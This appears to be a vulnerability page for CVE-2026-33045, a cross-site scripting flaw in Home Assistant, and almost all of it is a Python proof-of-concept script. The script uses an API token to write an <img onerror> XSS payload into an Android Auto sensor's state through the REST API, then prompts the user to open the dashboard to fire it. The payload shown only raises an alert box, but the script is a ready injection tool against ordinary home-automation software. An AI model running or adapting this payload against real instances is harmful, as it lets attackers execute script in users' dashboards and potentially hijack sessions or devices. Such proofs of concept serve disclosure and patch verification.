CVE-2026-33045 Home Assistant 跨站脚本漏洞

# Proof of Concept (PoC) for CVE-2026-33045 # This script demonstrates how a malicious sensor value could be injected # via the Android Auto integration or API if not sanitized. import requests # Target Home Assistant URL and API Token TARGET_URL = "http://home-assistant.local:8123" API_TOKEN = "Bearer YOUR_LONG_LIVED_ACCESS_TOKEN" SENSOR_ENTITY_ID = "sensor.android_auto_battery_remaining_charge_time" # The XSS Payload to be injected # This payload attempts to execute an alert box when rendered XSS_PAYLOAD = "<img src=x onerror=alert('XSS_CVE-2026-33045')>" headers = { "Authorization": API_TOKEN, "content-type": "application/json", } # Construct the API request to update the sensor state # In the real vulnerability, the Android Auto component sends this data automatically url = f"{TARGET_URL}/api/states/{SENSOR_ENTITY_ID}" data = { "state": XSS_PAYLOAD, "attributes": { "unit_of_measurement": "min", "friendly_name": "Remaining Charge Time" } } try: response = requests.post(url, json=data, headers=headers) if response.status_code == 200: print(f"[+] Payload injected successfully. View dashboard to trigger XSS.") print(f"[+] Payload content: {XSS_PAYLOAD}") else: print(f"[-] Failed to inject payload. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")